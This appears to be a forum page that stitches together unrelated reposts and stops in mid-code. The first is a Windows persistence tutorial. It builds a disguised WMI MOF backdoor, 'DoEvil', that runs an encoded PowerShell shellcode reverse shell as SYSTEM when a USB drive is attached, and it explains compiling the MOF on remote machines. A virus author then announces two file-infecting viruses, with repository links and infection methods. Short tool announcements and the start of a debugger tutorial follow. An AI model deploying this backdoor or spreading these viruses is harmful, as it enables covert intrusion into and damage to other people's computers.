EventIdentifier : 4624 TypeEvent : InsertionStrings : {S-1-5-18, WIN7-TESTBED$, WORKGROUP, 0x3e7...} LogFile : Security # Part of the Security event channel. Message : An account was successfully logged on. Subject: Security ID: S-1-5-18 Account Name: WIN7-TESTBED$ Account Domain: WORKGROUP Logon ID: 0x3e7 Logon Type: 5 # Logon type 0x5 - A service was started by the Service Control Manager. New Logon: Security ID: S-1-5-18 Account Name: SYSTEM # Authenticated as SYSTEM. Account Domain: NT AUTHORITY Logon ID: 0x3e7 Logon GUID: {00000000-0000-0000-0000-000000000000} Process Information: Process ID: 0x20c Process Name: C:\Windows\System32\services.exe Network Information: Workstation Name: Source Network Address: - Source Port: - Detailed Authentication Information: Logon Process: Advapi Authentication Package: Negotiate Transited Services: - Package Name (NTLM only): - Key Length: 0 RecordNumber : 425 SourceName : Microsoft-Windows-Security-Auditing TimeGenerated : 20140914212049.157848-000 TimeWritten : 20140914212049.157848-000 Type : Audit Success UserName : Category : 12544 CategoryString : Logon EventCode : 4624 # EventID 4624 - An account was successfully logged on. EventIdentifier : 4624 TypeEvent : InsertionStrings : {S-1-5-18, WIN7-TESTBED$, WORKGROUP, 0x3e7...} LogFile : Security # Part of the Security event channel. Message : An account was successfully logged on. Subject: Security ID: S-1-5-18 Account Name: WIN7-TESTBED$ Account Domain: WORKGROUP Logon ID: 0x3e7 Logon Type: 2 # Logon type 0x2 - A user logged on to this computer. New Logon: Security ID: S-1-5-21-2436999474-2994553960-2820488997-1001 Account Name: Fubar # Authenticated as Fubar. Account Domain: Win7-Testbed Logon ID: 0x14ad4 Logon GUID: {00000000-0000-0000-0000-000000000000} Process Information: Process ID: 0x1ac Process Name: C:\Windows\System32\winlogon.exe Network Information: Workstation Name: WIN7-TESTBED Source Network Address: 127.0.0.1 Source Port: 0 Detailed Authentication Information: Logon Process: User32 Authentication Package: Negotiate Transited Services: - Package Name (NTLM only): - Key Length: 0 RecordNumber : 166 SourceName : Microsoft-Windows-Security-Auditing TimeGenerated : 20140913190526.048815-000 TimeWritten : 20140913190526.048815-000 Type : Audit Success UserName : In order to return only interactive logon's we can use the WQL like statement to match events using a pattern. After some experimentation I discovered that all interactive logon's have "User32" set as the "Logon Process" within the "Message" property. The following query should only match a successful user logon. PS C:\Windows\system32> Get-WmiObject -query "select * from Win32_NTLogEvent where EventCode = '4624' and Message like '%User32%'" Using this information we can create the following WQL event trigger. This trigger would monitor the Windows events log and would trigger once it sees a successful interactive user logon. # Notice that we are checking for an instance creation where the event code is 4624 and the message property contains "User32". Query = "SELECT * FROM __InstanceCreationEvent Within 5" "Where TargetInstance Isa \"Win32_NTLogEvent\" " "And Targetinstance.EventCode = \"4624\" " "And Targetinstance.Message Like \"%User32%\" "; Event Consumer Class: The two most interesting consumer classes are: (1) The ActiveScriptEventConsumer class which allows us to execute VBS payloads and (2) the CommandLineEventConsumer class which we can use to execute terminal commands. Both classes have a really basic structure, examples of both can be seen below. Keep in mind that any payload executed by the consumer class will run as SYSTEM. # VBS payload. instance of ActiveScriptEventConsumer as $consumer { Name = "Event Consumer Name"; ScriptingEngine = "VBScript"; ScriptText = "VBS Payload!"; }; # Command line payload. instance of CommandLineEventConsumer as $consumer { Name = "Event Consumer Name"; RunInteractively = false; CommandLineTemplate = "CMD Payload!"; }; Using these two payload types any desired action can be performed; killing processes/services, creating and executing scripts, installing software/drivers, injecting shellcode, etc. __FilterToConsumerBinding: This class is also very straight forward, all we really need to know is that it binds an event trigger to an event consumer. An example can be seen below. instance of __FilterToConsumerBinding { Filter = $filter; # Our WQL event trigger. Consumer = $consumer; # Our event consumer payload. }; Multiple instances of __FilterToConsumerBinding can be defined in a single MOF. An event filer can be linked to multiple consumers and a consumer can be linked to multiple event filters. But where is my shell?: For demonstration purposes I created the following MOF file which will wait till a detachable USB device is connected to the computer and will then launch a reverse shell to the localhost. The powershell payload was generated using a modified version of Unicorn; Dave Kennedy if you happen to read this (hehe), "Why You No Like Dynamic Payload Choice?". The script is really useful as the output doesn't contain problematic characters like quotes, in addition, the payload will work on both 32 and 64 bit architectures. #pragma namespace ("\\\\.\\root\\subscription") instance of __EventFilter as $filter { Name = "USB-DeviceManager"; # A "could be legitimate" event name. EventNamespace = "root\\cimv2"; Query = "SELECT * FROM __InstanceCreationEvent Within 5" # Listen for USB device. "Where TargetInstance Isa \"Win32_DiskDrive\" " "And Targetinstance.InterfaceType = \"USB\" "; QueryLanguage = "WQL"; }; instance of CommandLineEventConsumer as $consumer { Name = "DoEvil"; RunInteractively = false; CommandLineTemplate = "cmd /C powershell -nop -win hidden -noni -enc # Unicorn payload. JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiAC kAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBs AGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbg B0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQA bABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjAC AAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABo AHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUA B0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwA IAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAE kAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABh AHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIA B1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUA IAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAGMAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAG EAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABl AFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAcwBjACAAPQAgADAAeABmAGMALAAwAHgAZQA4ACwAMAB4ADgAOQAsADAAeAAwADAALA AwAHgAMAAwACwAMAB4ADAAMAAsADAAeAA2ADAALAAwAHgAOAA5ACwAMAB4AGUANQAsADAAeAAzADEALAAwAHgAZAAyACwAMAB4ADYA NAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADMAMAAsADAAeAA4AGIALAAwAHgANQAyACwAMAB4ADAAYwAsADAAeAA4AGIALAAwAH gANQAyACwAMAB4ADEANAAsADAAeAA4AGIALAAwAHgANwAyACwAMAB4ADIAOAAsADAAeAAwAGYALAAwAHgAYgA3ACwAMAB4ADQAYQAs ADAAeAAyADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeAAzADEALAAwAHgAYwAwACwAMAB4AGEAYwAsADAAeAAzAGMALAAwAHgANg AxACwAMAB4ADcAYwAsADAAeAAwADIALAAwAHgAMgBjACwAMAB4ADIAMAAsADAAeABjADEALAAwAHgAYwBmACwAMAB4ADAAZAAsADAA eAAwADEALAAwAHgAYwA3ACwAMAB4AGUAMgAsADAAeABmADAALAAwAHgANQAyACwAMAB4ADUANwAsADAAeAA4AGIALAAwAHgANQAyAC wAMAB4ADEAMAAsADAAeAA4AGIALAAwAHgANAAyACwAMAB4ADMAYwAsADAAeAAwADEALAAwAHgAZAAwACwAMAB4ADgAYgAsADAAeAA0 ADAALAAwAHgANwA4ACwAMAB4ADgANQAsADAAeABjADAALAAwAHgANwA0ACwAMAB4ADQAYQAsADAAeAAwADEALAAwAHgAZAAwACwAMA B4ADUAMAAsADAAeAA4AGIALAAwAHgANAA4ACwAMAB4ADEAOAAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADIAMAAsADAAeAAwADEA LAAwAHgAZAAzACwAMAB4AGUAMwAsADAAeAAzAGMALAAwAHgANAA5ACwAMAB4ADgAYgAsADAAeAAzADQALAAwAHgAOABiACwAMAB4AD AAMQAsADAAeABkADYALAAwAHgAMwAxACwAMAB4AGYAZgAsADAAeAAzADEALAAwAHgAYwAwACwAMAB4AGEAYwAsADAAeABjADEALAAw AHgAYwBmACwAMAB4ADAAZAAsADAAeAAwADEALAAwAHgAYwA3ACwAMAB4ADMAOAAsADAAeABlADAALAAwAHgANwA1ACwAMAB4AGYANA AsADAAeAAwADMALAAwAHgANwBkACwAMAB4AGYAOAAsADAAeAAzAGIALAAwAHgANwBkACwAMAB4ADIANAAsADAAeAA3ADUALAAwAHgA ZQAyACwAMAB4ADUAOAAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADIANAAsADAAeAAwADEALAAwAHgAZAAzACwAMAB4ADYANgAsAD AAeAA4AGIALAAwAHgAMABjACwAMAB4ADQAYgAsADAAeAA4AGIALAAwAHgANQA4ACwAMAB4ADEAYwAsADAAeAAwADEALAAwAHgAZAAz ACwAMAB4ADgAYgAsADAAeAAwADQALAAwAHgAOABiACwAMAB4ADAAMQAsADAAeABkADAALAAwAHgAOAA5ACwAMAB4ADQANAAsADAAeA AyADQALAAwAHgAMgA0ACwAMAB4ADUAYgAsADAAeAA1AGIALAAwAHgANgAxACwAMAB4ADUAOQAsADAAeAA1AGEALAAwAHgANQAxACwA MAB4AGYAZgAsADAAeABlADAALAAwAHgANQA4ACwAMAB4ADUAZgAsADAAeAA1AGEALAAwAHgAOABiACwAMAB4ADEAMgAsADAAeABlAG IALAAwAHgAOAA2ACwAMAB4ADUAZAAsADAAeAA2ADgALAAwAHgAMwAzACwAMAB4ADMAMgAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4 ADYAOAAsADAAeAA3ADcALAAwAHgANwAzACwAMAB4ADMAMgAsADAAeAA1AGYALAAwAHgANQA0ACwAMAB4ADYAOAAsADAAeAA0AGMALA AwAHgANwA3ACwAMAB4ADIANgAsADAAeAAwADcALAAwAHgAZgBmACwAMAB4AGQANQAsADAAeABiADgALAAwAHgAOQAwACwAMAB4ADAA MQAsADAAeAAwADAALAAwAHgAMAAwACwAMAB4ADIAOQAsADAAeABjADQALAAwAHgANQA0ACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAH gAMgA5ACwAMAB4ADgAMAAsADAAeAA2AGIALAAwAHgAMAAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgANQAwACwAMAB4ADUAMAAs ADAAeAA1ADAALAAwAHgANQAwACwAMAB4ADQAMAAsADAAeAA1ADAALAAwAHgANAAwACwAMAB4ADUAMAAsADAAeAA2ADgALAAwAHgAZQ BhACwAMAB4ADAAZgAsADAAeABkAGYALAAwAHgAZQAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAOAA5ACwAMAB4AGMANwAsADAA eAA2ADgALAAwAHgANwBmACwAMAB4ADAAMAAsADAAeAAwADAALAAwAHgAMAAxACwAMAB4ADYAOAAsADAAeAAwADIALAAwAHgAMAAwAC wAMAB4ADIANwAsADAAeAAwADQALAAwAHgAOAA5ACwAMAB4AGUANgAsADAAeAA2AGEALAAwAHgAMQAwACwAMAB4ADUANgAsADAAeAA1 ADcALAAwAHgANgA4ACwAMAB4ADkAOQAsADAAeABhADUALAAwAHgANwA0ACwAMAB4ADYAMQAsADAAeABmAGYALAAwAHgAZAA1ACwAMA B4ADYAOAAsADAAeAA2ADMALAAwAHgANgBkACwAMAB4ADYANAAsADAAeAAwADAALAAwAHgAOAA5ACwAMAB4AGUAMwAsADAAeAA1ADcA LAAwAHgANQA3ACwAMAB4ADUANwAsADAAeAAzADEALAAwAHgAZgA2ACwAMAB4ADYAYQAsADAAeAAxADIALAAwAHgANQA5ACwAMAB4AD UANgAsADAAeABlADIALAAwAHgAZgBkACwAMAB4ADYANgAsADAAeABjADcALAAwAHgANAA0ACwAMAB4ADIANAAsADAAeAAzAGMALAAw AHgAMAAxACwAMAB4ADAAMQAsADAAeAA4AGQALAAwAHgANAA0ACwAMAB4ADIANAAsADAAeAAxADAALAAwAHgAYwA2ACwAMAB4ADAAMA AsADAAeAA0ADQALAAwAHgANQA0ACwAMAB4ADUAMAAsADAAeAA1ADYALAAwAHgANQA2ACwAMAB4ADUANgAsADAAeAA0ADYALAAwAHgA NQA2ACwAMAB4ADQAZQAsADAAeAA1ADYALAAwAHgANQA2ACwAMAB4ADUAMwAsADAAeAA1ADYALAAwAHgANgA4ACwAMAB4ADcAOQAsAD AAeABjAGMALAAwAHgAMwBmACwAMAB4ADgANgAsADAAeABmAGYALAAwAHgAZAA1ACwAMAB4ADgAOQAsADAAeABlADAALAAwAHgANABl ACwAMAB4ADUANgAsADAAeAA0ADYALAAwAHgAZgBmACwAMAB4ADMAMAAsADAAeAA2ADgALAAwAHgAMAA4ACwAMAB4ADgANwAsADAAeA AxAGQALAAwAHgANgAwACwAMAB4AGYAZgAsADAAeABkADUALAAwAHgAYgBiACwAMAB4AGYAMAAsADAAeABiADUALAAwAHgAYQAyACwA MAB4ADUANgAsADAAeAA2ADgALAAwAHgAYQA2ACwAMAB4ADkANQAsADAAeABiAGQALAAwAHgAOQBkACwAMAB4AGYAZgAsADAAeABkAD UALAAwAHgAMwBjACwAMAB4ADAANgAsADAAeAA3AGMALAAwAHgAMABhACwAMAB4ADgAMAAsADAAeABmAGIALAAwAHgAZQAwACwAMAB4 ADcANQAsADAAeAAwADUALAAwAHgAYgBiACwAMAB4ADQANwAsADAAeAAxADMALAAwAHgANwAyACwAMAB4ADYAZgAsADAAeAA2AGEALA AwAHgAMAAwACwAMAB4ADUAMwAsADAAeABmAGYALAAwAHgAZAA1ADsAJABzAGkAegBlACAAPQAgADAAeAAxADAAMAAwADsAaQBmACAA KAAkAHMAYwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwAHgAMQAwADAAMAApAHsAJABzAGkAegBlACAAPQAgACQAcwBjAC4ATABlAG 4AZwB0AGgAfQA7ACQAeAA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAHMAaQB6 AGUALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHMAYwAuAEwAZQBuAGcAdABoAC0AMQ ApADsAJABpACsAKwApACAAewAkAHcAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJAB4AC4AVABvAEkAbgB0ADMA MgAoACkAKwAkAGkAKQAsACAAJABzAGMAWwAkAGkAXQAsACAAMQApAH0AOwAkAHcAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkAC gAMAAsADAALAAkAHgALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ADsAKQB7AFMAdABhAHIAdAAtAHMAbABlAGUAcAAgADYAMAB9 ADsAJwA7ACQAZwBxACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcg BpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUA dABCAHkAdABlAHMAKAAkADEAKQApADsAaQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA4ACkAewAkAH gAOAA2ACAAPQAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBSAG8AbwB0ACAAKwAgACIAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBk AG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAiADsAJABjAG0AZAAgAD0AIA AiAC0AbgBvAHAAIAAtAG4AbwBuAGkAIAAtAGUAbgBjACAAIgA7AGkAZQB4ACAAIgAmACAAJAB4ADgANgAgACQAYwBtAGQAIAAkAGcA cQAiAH0AZQBsAHMAZQB7ACQAYwBtAGQAIAA9ACAAIgAtAG4AbwBwACAALQBuAG8AbgBpACAALQBlAG4AYwAiADsAaQBlAHgAIAAiAC YAIABwAG8AdwBlAHIAcwBoAGUAbABsACAAJABjAG0AZAAgACQAZwBxACIAOwB9AA=="; }; instance of __FilterToConsumerBinding { Filter = $filter; Consumer = $consumer; }; All that remains is to compile our MOF into memory on the target machine. This can be accomplished by using mofcomp. PS C:\Users\Fubar\Desktop> mofcomp.exe .\usb2shell.mof Microsoft ® MOF Compiler Version 6.1.7600.16385 Copyright © Microsoft Corp. 1997-2006. All rights reserved. Parsing MOF file: .\usb2shell.mof MOF file has been successfully parsed Storing data in the repository... WARNING: File .\usb2shell.mof does not contain #PRAGMA AUTORECOVER. If the WMI repository is rebuilt in the future, the contents of this MOF file will not be included in the new WMI repository.To include this MOF file when the WMI Repository is automatically reconstructed, place the #PRAGMA AUTORECOVER statement on the first line of the MOF file. Done! After compilation our event/action will be permanently stored in memory, the MOF file will no longer be necessary and can be deleted. To get some extra bang for your buck the following command can be used to compile a MOF on a remote computer without the file ever touching disk. # The pragma namespace will need to be removed from the MOF. PS C:\Users\Fubar\Desktop> mofcomp.exe -N \\[RemoteTarget]\root\subscription .\usb2shell.mof Once compiled we can query the MOF using Get-WmiObject, notice however that it is not possible to determine the actual payload that will be run when the event is triggered. Choosing a seemingly critical or innocent name should discourage anyone from removing it. PS C:\Users\Fubar\Desktop> Get-WmiObject -namespace root\subscription -Class __EventFilter -Filter "name='USB-DeviceManager'" __GENUS : 2 __CLASS : __EventFilter __SUPERCLASS : __IndicationRelated __DYNASTY : __SystemClass __RELPATH : __EventFilter.Name="USB-DeviceManager" __PROPERTY_COUNT : 6 __DERIVATION : {__IndicationRelated, __SystemClass} __SERVER : WIN7-TESTBED __NAMESPACE : ROOT\subscription __PATH : \\WIN7-TESTBED\ROOT\subscription:__EventFilter.Name="USB-DeviceManager" CreatorSID : {1, 5, 0, 0...} EventAccess : EventNamespace : root\cimv2 Name : USB-DeviceManager # Looks legit to me . Query : SELECT * FROM __InstanceCreationEvent Within 5 Where TargetInstance Isa "Win32_DiskDrive" And Targetinstance.InterfaceType = "USB" QueryLanguage : WQL From the screenshot below we can see that we get a SYSTEM shell as soon as a USB device is attached to the computer. MOF USB SYSTEM shell If we wanted to delete our MOF backdoor we could pipe the command above to Remove-WmiObject. PS C:\Users\Fubar\Desktop> Get-WmiObject -namespace root\subscription -Class __EventFilter -Filter "name='USB-DeviceManager'" |Remove-WmiObject The amazing scope of the WQL event triggers make this a really advanced persistence technique. A MOF file could, for example, be used as a dropper for malware; kill AV/debuggers, grab updates from a C&C, fingerprint network hardware, infect detachable media devices, migrate through a domain, etc. [h=2]Windows Startup Folder[/h] The final technique is a classic, all windows versions, going back to "Windows 3", have starup directories. Any binary, script or application shortcut which is put in that directory will be executed when the user logs on to the system. Links: List Of Major Windows Versions - here Startup Directories: # Windows NT 6.0 - 10.0 / All Users %SystemDrive%\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup # Windows NT 6.0 - 10.0 / Current User %SystemDrive%\Users\%UserName%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup # Windows NT 5.0 - 5.2 %SystemDrive%\Documents and Settings\All Users\Start Menu\Programs\Startup # Windows NT 3.5 - 4.0 %SystemDrive%\WINNT\Profiles\All Users\Start Menu\Programs\Startup [h=2]Final Thoughts[/h] I'm sure this is a lot of information to take in, it was certainly a lot to write up. It should be made clear, however, that this is only the bare bones of Windows userland persistence. A functional understanding of persistence techniques can only be gained by experimentation and practise. I leave it to the diligent reader to see how deep the Rabbit Hole goes! Sursa: FuzzySecurity | Windows Userland Persistence Fundamentals
-
HauHra and Hildr releaseHello there, finally after one of year I’m releasing two new codes. I worked on them originally to contribute to DC issue 6, but things have turned rather complicated with the zine so far. I worked on them on rather exceptional circumstances, almost no available material, bad internet connection, no resources, and worst of all: little computer access and almost no time. After a few setbacks on my original plans, I had to cut them short for simplicity. But they are fit for release. So, with no further delay, here some descriptions. W32.HauHra (https://github.com/villekulla/Hauhra) HauHra is my new demo virus using Python code to decrypt itself. The decryptor drops a small python script with a function to xor every item from list object, then loads python24.dll and uses it to load the script, then creates the list object and sets all its items with the encrypted virus’ bytes, and calls the function, the decrypted result is then executed. The virus finds executable files in the current directory and all subdirectories, and infects them by overwriting reloc data with the decryptor code. The entrypoint is altered to point to the virus code. Very simple. W32.Hildr (https://github.com/villekulla/Hildr) The virus finds executable files in the current directory and all subdirectories, and infects them by overwriting debug data with the decryptor code, and overwriting reloc data with the encrypted virus body. The entrypoint is altered to point to the decryptor code. How those two came to be There was an idea that never abandoned me, although for years I was sure to discard it. I remembered it every month, really never could get over it. When I was studying the PE format back in 2009, there was that “debug directory” thing in the Data Directory, I thought it would be nice to overwrite it, since it was just data for debuggers and disassemblers. But then days later I read in a 29A issue the source code of a virus that did just that, I didn’t understand the code at the time, though I tried. So, I simply attempted to discard it, I ended up targeting the certificates data outside the image and thus my first virus came to be. But again the idea came back a week ago. I connected to the internet and searched for the ezine and that virus specifically, and when I read the source again I noticed a small problem. Its author really wanted to target the debug directory, back in the day it might have been present as a section itself in the file, and went by the name of “.debug”; however, the code was looking for a section named “.deb” not “.debug”. Back then the debug directory wasn’t embedded into the code section as it is today, either. So that was enough reason for me to finally get over it, by writing the code. It’s not really a remarkable technique, it’s Simple. But it would be a mistake to let it go with the same level of simplicity. Some people might have thought before about it, and thought that the debug directory is too small to insert any meaningful code in it. Why let go of the chance? Some of you might remember the virus W32.EfishNC by roy g biv, the decryptor was really tiny and yet proved so hard to detect. EfishNC placed the decryptor by overwriting a function in the host code and patching a call to point to it. While I let go of the chance to make the idea with a more advanced decryption technique, someone else might someday do it. I hope it happens. Hauhra was another thing entirely, I already had done most of the work for it when I wrote Viper - a small experiment that did just the decryption part of some data and displayed it in a message. So, just the replication capabilities were missing. Originally I intended the decryptor to use random operations (xor, add, sub) and keys. I didn’t had a computer available at the time so I wrote the code in a piece of paper (from a bag of croissants!), the code worked fine but there was an error in the garbage collection during the unloading routine. I managed to fix the bug (which was related to the use of the “unsigned” set of APIs, one of them is still present in the code), but I ended up discarding the code in favour of more simplicity. Ending Hope you have enjoyed these words and the codes. Working on the codes under exceptional circumstances, has somehow restored my enthusiasm, I’m motivated and full of energy. It is safe to say I’m fully back at virus writing. Now that I’m enjoying a more normalized situation, I have been revisiting projects I left unfinished, I have made a list of the things I’ll try but aim to make codes with more details this time, so don’t expect new releases any time soon. However! I do plan to update regularly this blog, maybe share some code too. In the next few days I’ll be writing here a series of entries about a powerful very promising file infection technique. If you have anything to ask, the Ask section is available (and it is really anonymous), for feedback or to share ideas and stuff I can be reached via email villekullah@gmail.com hh86 1 December 2014 Sursa: hh86
-
Author fined $500k in first US spyware conviction
Nytro replied to SynTAX's topic in Stiri securitate
Si pe aia cu Stuxnet, Regin, Finfisher si multe altele cine ii aresteaza? -
Responder 2.1.3 Authored by laurent gaffie | Site github.com Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. Sursa: Responder 2.1.3 ? Packet Storm
-
SSLsplit 0.4.10 Site roe.ch SSLsplit is a tool for man-in-the-middle attacks against SSL/TLS encrypted network connections. Connections are transparently intercepted through a network address translation engine and redirected to SSLsplit. SSLsplit terminates SSL/TLS and initiates a new SSL/TLS connection to the original destination address, while logging all data transmitted. SSLsplit is intended to be useful for network forensics and penetration testing. Sursa: SSLsplit 0.4.10 ? Packet Storm
-
Agafi-ROP x86 ROP-Chainer Tool Authored by Nicolas A. Economou Agafi-ROP is a x86 ROP-Chainer tool oriented to build ROP chains for win32 programs, modules, and running processes. Sursa: Agafi-ROP x86 ROP-Chainer Tool ? Packet Storm
-
Writing a Primitive Debugger: Part 1 (Basics) Posted on November 27, 2014 by admin As software developers (or reverse engineers), debuggers are an invaluable tool. They allow for runtime analysis and introspection/understanding of the program in order to find out how it works — or oftentimes doesn’t. This series of posts will go in to how they work and how to begin developing a primitive debugger targeting the Windows platform running on the x86 or x64 architectures. Attaching/Detaching In order to debug a process, a debugger must be able to attach to it. This means that there should be a way for the debugger to interact with the process in such a way that the debugger will have access to the processes address space, the ability to halt and continue execution, modify registers, and so on. Likewise, a debugger should be able to safety detach from a process and let it continue running when a debugging session is finished. On the Windows platform this is achieved by calling the DebugActiveProcess function and specifying the process identifier of the target. Alternatively, it can also be accomplished by calling CreateProcess with the DEBUG_PROCESS or DEBUG_ONLY_THIS_PROCESS creation flags. This latter method will create a new process and attach to it rather than attaching to one already running on the system. Once attached, the debugger can specify a policy on whether to kill the process on detach with DebugSetProcessKillOnExit. Lastly, the process for detaching is a straightforward call to DebugActiveProcessStop. Putting all of these together produces code similar to the following: [TABLE] [TR] [TD="class: code"][COLOR=#0000ff]const[/COLOR] [COLOR=#0000ff]bool[/COLOR] Debugger[COLOR=#008080]::[/COLOR][COLOR=#007788]Start[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] m_bIsActive [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]DebugActiveProcess[COLOR=#008000]([/COLOR]m_dwProcessId[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR]m_bIsActive[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000ff]const[/COLOR] [COLOR=#0000ff]bool[/COLOR] bIsSuccess [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]DebugSetProcessKillOnExit[COLOR=#008000]([/COLOR]m_bKillOnExit[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#000040]![/COLOR]bIsSuccess[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"Could not set process kill on exit policy. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] DebuggerLoop[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]else[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"Could not debug process %X. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], m_dwProcessId, GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]return[/COLOR] [COLOR=#0000ff]false[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#008000]}[/COLOR] [COLOR=#0000ff]const[/COLOR] [COLOR=#0000ff]bool[/COLOR] Debugger[COLOR=#008080]::[/COLOR][COLOR=#007788]Stop[/COLOR][COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] m_bIsActive [COLOR=#000080]=[/COLOR] BOOLIFY[COLOR=#008000]([/COLOR]DebugActiveProcessStop[COLOR=#008000]([/COLOR]m_dwProcessId[COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] [COLOR=#0000ff]if[/COLOR] [COLOR=#008000]([/COLOR][COLOR=#000040]![/COLOR]m_bIsActive[COLOR=#008000])[/COLOR] [COLOR=#008000]{[/COLOR] [COLOR=#0000dd]fprintf[/COLOR][COLOR=#008000]([/COLOR][COLOR=#0000ff]stderr[/COLOR], [COLOR=#FF0000]"Could not stop debugging process %X. Error = %X[COLOR=#000099][B]\n[/B][/COLOR]"[/COLOR], m_dwProcessId, GetLastError[COLOR=#008000]([/COLOR][COLOR=#008000])[/COLOR][COLOR=#008000])[/COLOR][COLOR=#008080];[/COLOR] 